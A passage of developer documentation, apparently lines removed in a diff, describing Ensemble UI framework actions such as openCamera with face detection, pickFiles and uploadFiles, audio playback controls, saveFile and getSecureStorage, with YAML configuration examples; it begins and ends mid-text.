- page: onViewGroupUpdate3 - -``` - -### Action execution View - -```yaml -View: - onViewGroupUpdate: - showDialog: - body: - Text: text - styles: - useSafeArea: true - header: - titleText: Overlay - body: - Column: - styles: - padding: 24 - gap: 8 - children: - - Text: - text: This is overlay screen - - - Button: - label: Tap to Navigate Back to ViewGroup - onTap: - navigateBack: -``` -### Explanation - -1. **ViewGroup update:** - First, the user clicks the any menu button, which triggers the `onViewGroupUpdate` action, navigating to selected screen. - - -2. **Trigger `onViewGroupUpdate` on the View screen:** - On the selected screen, the action specified is triggered automatically. Executing the action specified under `onViewGroupUpdate`. - - -You can try complete example [here](https://studio.ensembleui.com/app/2Mc1NI4RQlrEH23sU288/screens) - ---- - -# openAppSettings - -Applicable on iOS/Android only. Opens the app settings page where the user can manage app permissions and settings. If `target` (optional) is provided and supported on the current running platform, it will open the specific setting page, otherwise the "Settings" screen will be opened. - -**Inputs**: - -`target (optional)`: the specific setting screen (see below) to open. Defaults to "settings" if not specified. - -### Properties - -| Target | Supported Platforms | Description | -| -------------------------------- | ------------------- | ------------------------------------------------------------- | -| settings | Android, iOS | Open the main settings page | -| accessibility | Android, iOS | Open the accessibility settings | -| bluetooth | Android, iOS | Open the Bluetooth settings | -| date | Android, iOS | Open the date and time settings | -| display | Android, iOS | Open the display settings | -| location | Android, iOS | Open the location settings | -| sound | Android, iOS | Open the sound/audio settings | -| wifi | Android, iOS | Open the WiFi settings | -| security | Android, iOS | Open the security settings | -| hotspot | Android, iOS | Open the personal hotspot settings | -| appSettings | Android, iOS | Open the app-specific settings | -| notification | Android, iOS 16+ | Open the notification settings | -| apn | Android | Open the APN (Access Point Name) settings | -| batteryOptimization | Android | Open the Battery Optimization settings | -| dataRoaming | Android | Open the Data Roaming settings | -| developer | Android | Open the Developer options | -| device | Android | Open the device information settings | -| internalStorage | Android | Open the internal storage settings | -| lockAndPassword | Android | Open the lock screen and password settings | -| nfc | Android | Open the NFC settings | -| memoryCard | Android | Open the memory card settings | -| addAccount | Android | Open the add account screen | -| airplaneMode | Android | Open the airplane mode settings | -| applicationDetails | Android | Open the application details screen | -| applicationNotification | Android | Open the application notification settings | -| applicationSettings | Android | Open the application settings | -| applicationWriteSettings | Android | Open the application write settings | -| batterySaver | Android | Open the battery saver settings | -| captioning | Android | Open the captioning settings | -| cast | Android | Open the cast settings | -| dataUsage | Android | Open the data usage settings | -| appNotificationBubble | Android | Open the app notification bubble settings | -| appNotification | Android | Open the app notification settings | -| search | Android | Open the search settings | -| biometricEnroll | Android | Open the biometric enrollment screen | -| hardwareKeyboard | Android | Open the hardware keyboard settings | -| home | Android | Open the home screen settings | -| ignoreBackgroundDataRestrictions | Android | Open the background data restriction settings | -| inputMethod | Android | Open the input method settings | -| inputMethodSubtype | Android | Open the input method subtype settings | -| locale | Android | Open the locale settings | -| manageAllApplications | Android | Open the manage all applications screen | -| manageApplication | Android | Open the manage application screen | -| manageDefaultApps | Android | Open the manage default apps screen | -| manageExternalSources | Android | Open the manage external sources screen | -| manageOverlay | Android | Open the manage overlay settings | -| vpn | Android | Open the VPN settings | -| wireless | Android | Open the wireless settings | -| icloud | iOS | Open the iCloud settings | -| privacy | iOS | Open the privacy settings | -| cellular | iOS | Open the cellular settings | -| siri | iOS | Open the Siri settings | -| photos | iOS | Open the photos and camera settings | -| keyboard | iOS | Open the keyboard settings | -| general | iOS | Open the general settings | -| about | iOS | Open the about device screen | -| accountSettings | iOS | Open the account settings | -| autoLock | iOS | Open the auto-lock settings | -| battery | iOS | Open the battery settings | -| dictionary | iOS | Open the dictionary settings | -| facetime | iOS | Open the FaceTime settings | -| healthKit | iOS | Open the HealthKit settings | -| music | iOS | Open the music settings | -| keyboards | iOS | Open the keyboards settings (for managing multiple keyboards) | -| languageAndRegion | iOS | Open the language and region settings | -| phone | iOS | Open the phone settings | -| profilesAndDeviceManagement | iOS | Open the profiles and device management screen | -| softwareUpdate | iOS | Open the software update screen | -| storageAndBackup | iOS | Open the storage and backup settings | -| wallpapers | iOS | Open the wallpapers settings | -| subscriptions | iOS 15+ | Open the subscription settings | - ---- - -# openCamera - -`OpenCamera` action enables users to access their device's camera, capturing images or videos directly from the app, enhancing interactivity and enabling seamless integration of media functionalities within the application. With `id` property we can bind results of camera. Then use the `onComplete` properties to execute other actions after capture or selection is done. - -### Properties - -| Property | Type | Description | -| :--------- | :----- | :--------------------------------------------------------------------------------- | -| id | string | Give the camera an ID, allows you to bind to its result. e.g. ${cameraId.files...} | -| onComplete | action | Execute an Action after completing capturing media | -| onClose | action | Execute an Action on camera close | -| onCapture | action | Execute an Action on each capture | -| options | object | different options to chose for `openCamera` action. [see properties](#) | -| overlayWidget | widget | Custom overlay Widget to display over camera. | -| loadingWidget | widget | Custom widget to show for loading indicator in camera. | - -#### properties.options - -| Property | Type | Description | -| :---------------------- | :------ | :----------------------------------------------------------------------------------------------------------------------------- | -| mode | string | Modes of camera. It can be photo only i.e allows to capture just photo. Similarly video or can be both. `photo` `video` `both` | -| initialCamera | string | Initialize either camera, back or front. `back` `front` | -| allowGalleryPicker | boolean | Allow users to pick media from gallery. Default (true). | -| allowCameraRotate | boolean | Allow users rotate camera i.e back and front. Default (true). | -| allowFlashControl | boolean | Allow users to control flash options. Default (true). | -| preview | boolean | If set true, users can view captured/selected media. | -| maxCount | number | It used to control number of media that can be captured/selected | -| maxCountMessage | string | Custom message to show when captured/selected media is greater than maxCount | -| minCount | number | It used to control number of media that can be captured/selected | -| minCountMessage | string | Custom message to show when captured/selected media is greater than minCount | -| permissionDeniedMessage | string | Set custom message when access to camera is denied | -| nextButtonLabel | string | Set custom label on next button. | -| cameraRotateIcon | widget | Set custom icon for camera rotate button. [see here](/pages/widget-reference/Icon.md) | -| galleryPickerIcon | widget | Set custom icon for gallery picker button. [see here](/pages/widget-reference/Icon.md) | -| focusIcon | widget | Set custom icon for focus node. | -| assistAngle | object | Show assist message whenever angle goes below minAngle or above minAngle. [see properties](#values-for-optionsassistangle) | -| assistSpeed | object | Show assist message whenever camera is moving faster than maxSpeed. [see properties](#values-for-optionsassistspeed) | -| autoCaptureInterval | integer | If set any number n, on each n interval camera will capture | -| captureOverlay | boolean | If set picture will be cropped according to overlay widget | -| faceDetection | object | Enable face detection. [see properties](#values-for-optionsfacedetection) | - -##### Values for options.assistAngle - -| Property | Type | Description | -| :------------------------- | :----- | :-------------------------------------------- | -| minAngle | number | Minimum angle | -| maxAngle | number | Maximum Angle | -| maxAngleassistAngleMessage | number | Custom message to show when condition is hit. | - -##### Values for options.assistSpeed - -| Property | Type | Description | -| :----------------- | :----- | :-------------------------------------------- | -| maxSpeed | number | Maximum speed in km/hr. | -| assistSpeedMessage | number | Custom message to show when condition is hit. | - -##### Values for options.faceDetection - -| Property | Type | Description | -| :------------------------ | :------ | :------------------------------------------------------------------------------------------------------------------------------------------------ | -| enabled | boolean | Enable face detection. | -| message | string | use this pass a message above the camera | -| messageStyle | object | style applied to the message widget | -| showControls | boolean | set false to hide all controls | -| showCaptureControl | boolean | set false to hide capture control icon | -| showFlashControl | boolean | set false to hide flash control control icon | -| showCameraLensControl | boolean | set false to hide camera lens control icon | -| indicatorShape | string | use this to change the shape of the face indicator `circle`, `square` | -| autoDisableCaptureControl | boolean | set true to disable capture control widget when no face is detected | -| autoCapture | boolean | set true to capture image on face detected | -| imageResolution | string | use this to set image resolution `low`, `medium`, `high` | -| defaultFlashMode | string | use this to set initial flash mode `off`, `auto`, `always` | -| performanceMode | string | Use this to set your preferred performance mode. `accurate`, `fast` | -| accuracyConfig | object | Use this to set accuracy config for face detection. Accuracy config is only supported on web. [see properties](#values-for-optionsfacedetectionaccuracyconfig) | - -##### Values for options.faceDetection.accuracyConfig - -> [Note] -> Accuracy config is only supported on web. - -| Property | Type | Description | -| :------------------------- | :----- | :--------------------------------------------------------------------------- | -| detectionThreshold | number | Minimum confidence score required to consider a face detection valid. | -| intersectionRatioThreshold | number | Minimum allowed overlap ratio between the detected face and expected region. | -| extraHeightFactor | number | Additional height factor added to the face bounding box. | -| inputSize | number | Size of the input image used for face detection. | -| landmarkRatio | number | Minimum acceptable alignment accuracy for facial landmarks. | -| frameMargin | number | Margin ratio to ensure face is not too close to frame edges. | -| tiltAngleThreshold | number | Maximum allowed tilt angle of the detected face (in degrees). | -| horizontalCenterTolerance | number | Allowed tolerance for how centered the face must be horizontally. | -| earThreshold | number | Minimum Eye Aspect Ratio (EAR) to detect open eyes. | -| minFaceWidthRatio | number | Minimum ratio of face width relative to the frame. | -| maxFaceWidthRatio | number | Maximum ratio of face width relative to the frame. | -| qualityPassThreshold | number | Minimum quality score required for a face to pass detection. | -| yawLowerThreshold | number | Lower bound of acceptable yaw (left-right head rotation) ratio. | -| yawUpperThreshold | number | Upper bound of acceptable yaw (left-right head rotation) ratio. | - - -**Usage Examples** - - - -```yaml -View: - header: - title: "Action: openCamera" - styles: - scrollableView: true - body: - Column: - styles: { gap: 16, padding: 24 } - children: - - Button: - label: Open Camera - onTap: - openCamera: - id: cameraId - - options: - mode: photo - - - Conditional: - conditions: - - if: ${cameraId.files.length > 0} - Carousel: - item-template: - data: ${cameraId.files} - name: file - template: - Image: - source: ${file.path} -``` - - - -`openCamera` also comes with options - - - -```yaml -- Button: - label: Camera with options - onTap: - openCamera: - id: cameraId1 - options: - allowGalleryPicker: true - allowCameraRotate: true - allowFlashControl: true - preview: true - maxCount: 2 - mode: photo - -- Conditional: - conditions: - - if: ${cameraId1.files.length > 0} - Carousel: - item-template: - data: ${cameraId1.files} - name: file - template: - Image: - source: ${file.path} -``` - - - -`openCamera` also comes with advance options - -- assistAngle, show message when phone angle goes below min angle or goes beyond max angle. -- assistSpeed, show message when phone goes beyond max speed. -- minCount/maxCount, type is a number and can also be set to `minCount: ${ensemble.storage.xyz}` to get a dynamic value - - - -```yaml -- Button: - label: Camera with advance options. - onTap: - openCamera: - options: - allowGalleryPicker: true - allowCameraRotate: true - allowFlashControl: true - preview: true - - assistAngle: - minAngle: 80 - maxAngle: 100 - assistAngleMessage: Please try to keep angle approx. 90 degree. - - assistSpeed: - maxSpeed: 10 - assistSpeedMessage: Please try to speed below 10 km/hr. -``` - - - -`openCamera` also comes with custom overlay widget - -- captureOverlay, crop image according to overlay widget. -- height/width, required to specify the crop area of widget. - - - -```yaml -- Button: - label: Camera with overlay widget. - onTap: - openCamera: - options: - captureOverlay: true - - loadingWidget: - Progress: - display: circular - id: loading - visible: false - - overlayWidget: - Column: - styles: - height: 170 - width: 260 - children: - - Image: - source: https://i.imgur.com/rEYx444.png -``` - - -You can capture and upload to specified API - - - -```yaml - - Button: - label: Capture and upload - onTap: - openCamera: - id: captureMedia - onComplete: - uploadFiles: - id: uploader - files: ${captureMedia.files} - uploadApi: fileUploadApi - fieldName: files - inputs: - url: - - - - Markdown: - text: ${uploader.body} - -API: - fileUploadApi: - inputs: - - url - uri: ${url} - method: POST -``` - -You can clear previous camera results while recapturing using `cameraId.clear()` - -```yaml -- Button: - label: Clear Previous Result and Capture - onTap: - executeCode: - body: | - captureLatest.clear() - onComplete: - openCamera: - id: captureLatest -``` - -Capture image on face detected - -```yaml -- Button: - label: Open Camera - onTap: - openCamera: - id: cameraWithFaceDetection - options: - initialCamera: front - faceDetection: - enabled: true - autoCapture: false - performanceMode: accurate - accuracyConfig: # accuracyConfig is only supported on web - detectionThreshold: 0.5 - intersectionRatioThreshold: 0.9 - extraHeightFactor: 0.6 - inputSize: 224 - landmarkRatio: 0.95 - frameMargin: 0.05 - tiltAngleThreshold: 6 - horizontalCenterTolerance: 0.08 - earThreshold: 0.25 - minFaceWidthRatio: 0.18 - maxFaceWidthRatio: 0.82 - qualityPassThreshold: 0.8 - yawLowerThreshold: 0.85 - yawUpperThreshold: 1.15 - message: "Align your face in the square" - messageStyle: - color: "#FF0000" - fontSize: 20 - onCapture: - uploadFiles: - id: uploader - files: ${cameraWithFaceDetection.files[0]} - uploadApi: fileUploadApi - fieldName: file - onComplete: - showDialog: - body: - Column: - children: - - TextInput: - value: ${cameraWithFaceDetection.files[0]} - - Image: - source: ${cameraWithFaceDetection.files[0].path} -``` - - -To learn more about openCamera functionalities, test it out here in [Ensemble Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/USuOaOZApSgzE2uVrqlv) app. - ---- - -# openPlaidLink - -openPlaidLink action allows users to open external URLs or web links directly from the app, facilitating seamless integration with external content and enhancing the user's browsing experience within the application. - -### Properties - -| Property | Type | Description | -| :---------------- | :------ | :-------------------------- | -| linkToken | string | The Plaid Link Token created from /link/token/create endpoint of Plaid. View Plaid's documation [here](https://plaid.com/docs/api/tokens/#linktokencreate). | -| onSuccess | action | This action is triggered when user successfully complete the Plaid Link flow. | -| onEvent | action | This action is triggered when certain events in the Plaid Link flow have occurred, for example, when the user selected an institution. This enables your application to gain further insight into what is going on as the user goes through the Plaid Link flow. | -| onExit | action | This action is triggered when user exits Plaid Link without successfully linking a financial institution, or when an error occurs during Link initialization. | - ---- - -# openUrl - -openUrl action allows users to open external URLs or web links directly from the app, facilitating seamless integration with external content and enhancing the user's browsing experience within the application. - -### Properties - -| Property | Type | Description | -| :---------------- | :------ | :-------------------------- | -| url | string | The URL to open | -| openInExternalApp | boolean | Open URL in an external app | - -**Example** - -1. This one is simple example related to how one can make use of `openUrl` to open given url inside browser or an external browser app in android or ios. - -```yaml -View: - header: - title: "Action: openUrl" - styles: - scrollableView: true - - body: - Column: - styles: { gap: 16, padding: 24 } - children: - - Form: - styles: { mainAxis: center } - children: - - TextInput: - id: uri - value: "https://ensembleui.com" - - Row: - styles: { gap: 8 } - children: - - Button: - label: Open Url in place - onTap: - openUrl: - url: ${uri.value} -``` - -You can use `openInExternalApp` property, this will open the url in the right app based on the url scheme in native apps. For browser, it doesn't matter - -```yaml -- Button: - label: Open Url in external app - onTap: - openUrl: - url: ${uri.value} - openInExternalApp: true -``` - -2. In this example we will open the default email app depending on the device or OS like on Windows its `Mail`. - -```yaml - - TextInput: - id: email - value: 'mailto: khurram.mahmood@gmail.com' - - Button: - label: Open Url - onTap: - openUrl: - url: ${email.value} -``` - -To learn more about how to use openUrl action, check out the [Ensemble Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/TnoazbWLihcenxD1NBkr) example. - ---- - -# pauseAudio - -The pauseAudio action allows users to pause an already-playing audio file. - -### Properties - -| Property | Type | Description | -| :------- | :----- | :--------------------------------------------------------------------------------------------------------------------- | -| id | string | A unique identity that's required to refer to the already playing audio. Should be same as that of passed in playAudio | - -**Example** - -```yaml -View: - header: - title: Audio Player - styles: - scrollableView: true - - body: - Column: - styles: - gap: 16 - padding: 24 - children: - - Button: - label: Play Audio - onTap: - playAudio: - id: My Audio - source: "https://file-examples.com/storage/fe8119f4e865f33329898be/2017/11/file_example_MP3_700KB.mp3" - volume: 1 # 0 to 1 - balance: 0 # -1 to 1 - position: 2 # in seconds - onComplete: - executeCode: - body: | - console.log("Audio Played"); - - - Button: - label: Play Audio 2 - onTap: - playAudio: - id: My Audio - source: audio.mp3 - volume: 1 # 0 to 1 - balance: 0 # -1 to 1 - position: 2 # in seconds - onComplete: - executeCode: - body: | - console.log("Audio Played"); - - - Button: - label: Pause Audio - onTap: - pauseAudio: - id: My Audio - - - Button: - label: Stop Audio - onTap: - stopAudio: - id: My Audio - - - Button: - label: Resume Audio - onTap: - resumeAudio: - id: My Audio - - - Button: - label: Seek Audio at 4 second - onTap: - seekAudio: - id: My Audio - position: 20 # in seconds -``` - ---- - -# pickFiles - -pickFiles action enables users to select files from their device for further processing or usage within the app, offering a seamless way to choose and work with files, enhancing user interactions and content management capabilities. - -### Properties - -| Property | Type | Description | -| :---------------- | :------ | :--------------------------------------------------------------------------------------------------------------- | -| id | string | Give the picker an ID allows you to bind to its result, which can be access anywhere e.g. ${filePicker.files...} | -| allowMultiple | boolean | Allow users to pick multiple files (default False) | -| allowCompression | boolean | It will allow media to apply the default OS compression (default True) | -| allowedExtensions | array | Allow files with specific extension e.g jpg, png, pdf | - - -### Ensemble File object -The files picked using `pickFiles` or created using camera using `openCamera` all shared the same following object. - - -| Property | Type | Description | -|:---|:---|:---| -| name | string | name of the file, could be null | -| size | integer | size of file in bytes, could be null | -| ext | string | extension of the file, could be null | -| path | string | file path, null on web, available in native mobile app | -| bytes | dynamic | if path is null i.e for web, we'll have bytes of files | - -> [NOTE] -> Path will be null when you are developing in the web studio. You'll have the path in your native mobile build or ensemble preview / go app. - - -**Example** - - - -```yaml -View: - # Optional - style the screen - styles: - scrollableView: true - - # Specify the body of the screen - body: - Column: - styles: { gap: 16, padding: 24 } - children: - - Markdown: - text: | - Use the `uploadFiles` action upload files to specify `uploadApi`. - - Then use the `onComplete` properties to execute other actions when upload is successful. - - - Button: - label: Pick Files - onTap: - pickFiles: - id: picker - - - Button: - label: Upload Picked files - onTap: - executeCode: - body: | - //@code - loading.visible = true; - - onComplete: - uploadFiles: - id: fileUploader - files: ${picker.files} - uploadApi: fileUploadApi - inputs: - url: https://en09cdal5asztm.x.pipedream.net - onComplete: | - //@code - loading.visible = false; - onError: | - //@code - - loading.visible = false; - maxFileSize: 100 - overMaxFileSizeMessage: Please select files less than 100kb - - - Markdown: - text: ${fileUploader.body} - - - Progress: - display: circular - id: loading - visible: false - - - Divider - - - Markdown: - text: | - Chain multiple file actions to pick files and upload them in one go - - Using `pickFiles` to pick file based on platform picker - - Using `uploadFiles` to upload selected files from file picker - - - Button: - label: Pick & Upload - onTap: - pickFiles: - id: filePicker - onComplete: - uploadFiles: - files: ${filePicker.files} - uploadApi: fileUploadApi - inputs: - url: https://en09cdal5asztm.x.pipedream.net - onComplete: | - //@code - ensemble.debug('File uploaded'); - - - Divider: - - - Markdown: - text: | - `pickFiles` also comes with option such as: - - - `allowMultiple` : To allow muliple file selection from gallery picker default (false) - - `allowCompression` : It will allow media to apply the default OS compression (default True) - - `allowedExtensions` : To filter file picking based on extensions like jpg, png, pdf... - - `uploadFiles` also comes with option such as: - - - `files` : Pass the files that needs to upload e.g ${filePicker.files} - - - `fieldName` : Field name that your server is expecting. (default files). - - - `maxFileSize`: File size that is allowed in kb (default 100 mb), If multiple is allow then sum of all files - - `overMaxFileSizeMessage`: Error message to show when selected files size is above maxFileSize. - - - Row: - styles: { mainAxis: spaceBetween, crossAxis: center } - children: - - Button: - label: Multiple Images - onTap: - pickFiles: - id: images - allowMultiple: true - allowCompression: false - allowedExtensions: - - jpg - - png - - - Text: - text: ${images.files.length} - - Button: - label: Upload Multiple images - onTap: - uploadFiles: - id: imageUploader - uploadApi: fileUploadApi - files: ${images.files} - fieldName: files - inputs: - url: https://en09cdal5asztm.x.pipedream.net - maxFileSize: 100 # in kb - overMaxFileSizeMessage: Please select files less than 100kb - - - Markdown: - text: ${imageUploader.body} - - Divider - - - Markdown: - text: | - ### Background file upload - - Pick and Upload files in background. - - In unmetered connection (wifi/lan) - - Also show notification - - *Not supported on web / studio. - - - Button: - label: Background upload - onTap: - pickFiles: - id: bgFilePicker - onComplete: - uploadFiles: - uploadApi: fileUploadApi - files: ${bgFilePicker.files} - inputs: - url: https://en09cdal5asztm.x.pipedream.net - id: bgUploader - options: - backgroundTask: true - showNotification: true - networkType: unmetered - - - Divider: - - - Markdown: - text: | - _Side Note: If you are using default uploadURL it's using RequestBin_ - - _RequestBin has maxFileSize of __100 kb__ above it will fail._ - - _You can see you API request [here](https://requestbin.com/r/en09cdal5asztm/2Lzx3lZ071EFF9dFKZCXJTnkJHS)_ - - - Divider: - -API: - fileUploadApi: - inputs: - - url - uri: ${url} - method: POST -``` - - - -complete example [here](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/mvFbwP5K5yvAqTlncTga?propertyPanelEnabled=true&instantPreviewDisabled=false&editorV2Enabled=true) including uploadFiles example. - ---- - -# playAudio - -The playAudio action allows users to play a given audio file from a URL or asset. It requires a unique ID passed to it so that the audio can be referenced. - -### Properties - -| Property | Type | Description | -| :-------- | :----- | :------------------------------------------------------- | -| id | string | A unique identity that's required to refer to the given audio in the future | -| source | string | The source of the audio file. Can be a file name located in assets or can also be a url | -| volume | double | The volume at which audio to play. It should be between `0` and `1` with `0` being no volume and `1` being maximum volume. The default value is `1` | -| balance | double | The balance between both the left and right speakers for stereo audio. It should be between `-1` and `1` with `-1` being completely left speaker and `1` being completely right speaker. The default value is `0` | -| position | integer | The time stamp from which to play audio from. It should be in seconds. The default value is `0` | - -**Example** - -```yaml -View: - header: - title: Audio Player - styles: - scrollableView: true - - body: - Column: - styles: - gap: 16 - padding: 24 - children: - - Button: - label: Play Audio - onTap: - playAudio: - id: My Audio - source: "https://file-examples.com/storage/fe8119f4e865f33329898be/2017/11/file_example_MP3_700KB.mp3" - volume: 1 # 0 to 1 - balance: 0 # -1 to 1 - position: 2 # in seconds - onComplete: - executeCode: - body: | - console.log("Audio Played"); - - - Button: - label: Play Audio 2 - onTap: - playAudio: - id: My Audio - source: audio.mp3 - volume: 1 # 0 to 1 - balance: 0 # -1 to 1 - position: 2 # in seconds - onComplete: - executeCode: - body: | - console.log("Audio Played"); - - - Button: - label: Pause Audio - onTap: - pauseAudio: - id: My Audio - - - Button: - label: Stop Audio - onTap: - stopAudio: - id: My Audio - - - Button: - label: Resume Audio - onTap: - resumeAudio: - id: My Audio - - - Button: - label: Seek Audio at 4 second - onTap: - seekAudio: - id: My Audio - position: 20 # in seconds -``` - -**Related Actions: [pause-audio](pause-audio.md) [stop-audio](stop-audio.md) [resume-audio](resume-audio.md) [seek-audio](seek-audio.md)** - ---- - -# Pull To Refresh - -Pull to Refresh is a common interaction pattern in mobile app development, allowing users to refresh the content of a view by pulling it down. In Ensemble, you can implement Pull to Refresh using the `onPullToRefresh` event and update the content dynamically. Let's break down the example: - -```yaml - Column: - styles: - scrollable: true - padding: 20 20 200 - gap: 8 - onPullToRefresh: |- - generateRandomNumber(); - item-template: - data: ${ensemble.storage.RandomNumbers} - name: number - template: - Text: - text: ${number} - styles: - backgroundColor: cyan - textAlign: center -Global: |- - //@code - ensemble.storage.RandomNumbers = [8, 3, 5]; - - function generateRandomNumber() { - //..... - } -``` - -onPullToRefresh Event: -`onPullToRefresh`: |- - generateRandomNumber();: -Specifies the callback function (`generateRandomNumber`) to be executed when the user pulls to refresh. This ensures that new random numbers are generated and the list is updated when the user performs a pull-to-refresh gesture. - -Item Template: -`data`: ${ensemble.storage.RandomNumbers}: -Binds the list of random numbers (stored in ensemble.storage.RandomNumbers) to the item template. This data will be used to populate the list. -`name: number`: Sets a reference name for each item in the list. -`text: ${number}`: Binds each Text widget to a specific number in the list, ensuring that the correct data is displayed for each item. - -Global Section (Initialization): -`ensemble.storage.RandomNumbers = [8, 3, 5];`: -Initializes the RandomNumbers array with some initial values. -`generateRandomNumber` function: -Generates new random numbers when called. This function is triggered on pull-to-refresh. - ---- - -# rateApp - -The "Rate Us" functionality is available only for iOS devices when the app is in production. - -```yaml -View: - header: - title: 'Action: RateApp' - - body: - Column: - styles: - padding: 24 - gap: 8 - children: - - Text: - text: Works only for iOS when app is in production (will not work for Ensemble Go while on TestFlight) - - Button: - label: Rate Us - onTap: - rateApp: -``` -The rateApp action is triggered when the "Rate Us" button is tapped. It is to handle the logic for prompting users to rate the app. - ---- - -# requestNotificationAccess - -requestNotificationAccess action prompts users to grant permission for the app to send notifications to their device, enabling personalized alerts and updates, enhancing user engagement, and ensuring timely delivery of relevant information within the application. - -### Properties - -| Property | Type | Description | -|:-------------| :----- | :--------------------------------------------------------------- | -| onAuthorized | action | Execute an Action when notification permission has been granted | -| onDenied | action | Execute an Action when notification permission has been rejected | - -**Example** - -The first important thing to consider while implementing notifications is to make sure that its authorized by user itself. Thus first step is to ensure complete access to ensemble. let us see how it works - - - -```yaml -View: - header: - title: "Action: showNotification" - - # Specify the body of the screen - body: - Column: - styles: - padding: 24 - gap: 8 - children: - - Text: - text: Hi there! - - Button: - label: Checkout Ensemble Kitchen Sink - onTap: - requestNotificationAccess: - onAuthorized: - showNotification: - title: A Notification - body: As you can see me working here -``` - - - -When user clicks on button browser pop-up asks for permission and as you allow it notification can be seen at bottom-right corner of screen. You can refer complete example [here](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/NiF1zG2VKspdlxNM2F1n?propertyPanelEnabled=true&instantPreviewDisabled=false&editorV2Enabled=true). - -**Output** - -![Alt text](public/images/actions/image-.png) - -![Alt text](public/images/actions/image--2.png) - ---- - -# resumeAudio - -The resumeAudio action allows users to resume a previously paused audio - -### Properties - -| Property | Type | Description | -| :------- | :----- | :----------------------------------------------------------------------------------------------------------------------------- | -| id | string | A unique identity that's required to refer to the audio that was paused in past. Should be same as that of passed in playAudio | - -**Example** - -```yaml -View: - header: - title: Audio Player - styles: - scrollableView: true - - body: - Column: - styles: - gap: 16 - padding: 24 - children: - - Button: - label: Play Audio - onTap: - playAudio: - id: My Audio - source: "https://file-examples.com/storage/fe8119f4e865f33329898be/2017/11/file_example_MP3_700KB.mp3" - volume: 1 # 0 to 1 - balance: 0 # -1 to 1 - position: 2 # in seconds - onComplete: - executeCode: - body: | - console.log("Audio Played"); - - - Button: - label: Play Audio 2 - onTap: - playAudio: - id: My Audio - source: audio.mp3 - volume: 1 # 0 to 1 - balance: 0 # -1 to 1 - position: 2 # in seconds - onComplete: - executeCode: - body: | - console.log("Audio Played"); - - - Button: - label: Pause Audio - onTap: - pauseAudio: - id: My Audio - - - Button: - label: Stop Audio - onTap: - stopAudio: - id: My Audio - - - Button: - label: Resume Audio - onTap: - resumeAudio: - id: My Audio - - - Button: - label: Seek Audio at 4 second - onTap: - seekAudio: - id: My Audio - position: 20 # in seconds -``` - ---- - -# saveFile - -The `saveFile` action saves media files (e.g., images) to the default media storage and documents to the default documents directory on Android and IOS. On the web, it downloads the file to the browser's default download folder. - -### Properties - -| Property | Type | Description | -| :-------- | :----- | :-------------------------------------------- | -| source | string | The source URL of the file | -| blobData | string | Blob data of the file in base64 string | -| type | string | Type of the file which are `image` or `document`. If type is `document` then the action will consider the source or blobData to be of document file and will save the file in the default device document folder | -| onComplete | action | Action to be executed on successful file saving on mobile device and successful downloading on web | -| onError | action | Action to be executed on error saving file | - -**Example** - -#### 1. For `blobData` input: #### - In case the type is image, action will save image in default Pictures path of device, in case of web, it will download the file -```yaml -Button: - onTap: - saveFile: - fileName: 'Test.png' - type: image - blobData: # blob string for image -``` - - In case the type is document, action will save document in default Documents path of device, in case of web, it will download the file -```yaml -In case the type is document, it'll be saved in Documents -Button: - onTap: - saveFile: - fileName: 'Test.pdf' - type: document # pdf, docx, txt - blobData: # blob string for document - onComplete: - showToast: - message: File saved successfuly - onError: - showToast: - message: File saving failed -``` -#### 2. For `source` input: #### -```yaml -Button: - onTap: - saveFile: - fileName: 'Test.pdf' - type: document # pdf, docx, txt - source: https://pdfobject.com/pdf/sample.pdf # source-url for document - onComplete: - showToast: - message: File saved successfuly - onError: - showToast: - message: File saving failed -``` -You can try complete example [here](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/9rgeMobpDsSosMoL2Hxv) - ---- - -# seekAudio - -The seekAudio action allows users to pause a already-playing audio file - -### Properties - -| Property | Type | Description | -| :------- | :------ | :--------------------------------------------------------------------------------------------------------------------- | -| id | string | A unique identity that's required to refer to the already playing audio. Should be same as that of passed in playAudio | -| position | integer | The time stamp at which to skip the audio to. It should be in seconds. The default value is `0` | - -**Example** - -```yaml -View: - header: - title: Audio Player - styles: - scrollableView: true - - body: - Column: - styles: - gap: 16 - padding: 24 - children: - - Button: - label: Play Audio - onTap: - playAudio: - id: My Audio - source: "https://file-examples.com/storage/fe8119f4e865f33329898be/2017/11/file_example_MP3_700KB.mp3" - volume: 1 # 0 to 1 - balance: 0 # -1 to 1 - position: 2 # in seconds - onComplete: - executeCode: - body: | - console.log("Audio Played"); - - - Button: - label: Play Audio 2 - onTap: - playAudio: - id: My Audio - source: audio.mp3 - volume: 1 # 0 to 1 - balance: 0 # -1 to 1 - position: 2 # in seconds - onComplete: - executeCode: - body: | - console.log("Audio Played"); - - - Button: - label: Pause Audio - onTap: - pauseAudio: - id: My Audio - - - Button: - label: Stop Audio - onTap: - stopAudio: - id: My Audio - - - Button: - label: Resume Audio - onTap: - resumeAudio: - id: My Audio - - - Button: - label: Seek Audio at 4 second - onTap: - seekAudio: - id: My Audio - position: 20 # in seconds -``` - ---- - -# getSecureStorage - -The `getSecureStorage` action retrieves previously stored encrypted data from the device's secure storage, decrypting it for use within your application while maintaining security of sensitive information. - -## Properties - -| Property | Type | Description | -| :--------- | :----- | :--------------------------------------------------------------------------------------------------------- | -| key | string | The key to retrieve the value from | -| onComplete | action | Execute an Action when the data has been successfully retrieved. The value is available under 'event.data' | -| onError | action | Execute an Action when an error occurs. The error reason is available under 'event.error' | - -## Example - -```yaml -Button: - label: Retrieve Secure Data - onTap: - getSecureStorage: - key: userToken - onComplete: - executeCode: - body: | - //@code - console.log("Retrieved token: " + event.data); - // Use the token for an API call - apiHeaders.value = { "Authorization": "Bearer " + event.data }; - onError: - showToast: - message: ${event.error} - options: - type: error -``` - -## JavaScript Usage - -When used in JavaScript, this action returns the value directly, making it useful in code blocks: - -```javascript -// Retrieve a stored value directly -const userToken = ensemble.getSecureStorage("userToken"); -console.log("Token: " + userToken); - -// Use the retrieved value in an API call -ensemble.invokeAPI({ - name: "fetchUserData", - inputs: {}, - headers: { - Authorization: "Bearer " + ensemble.getSecureStorage("userToken"), - }, -}); -``` - -## Notes - -- This action requires an encryption key to be set in your secrets configuration. -- The retrieved data is automatically decrypted and converted back to its original data type (string, number, boolean, or object). -- If no data exists for the 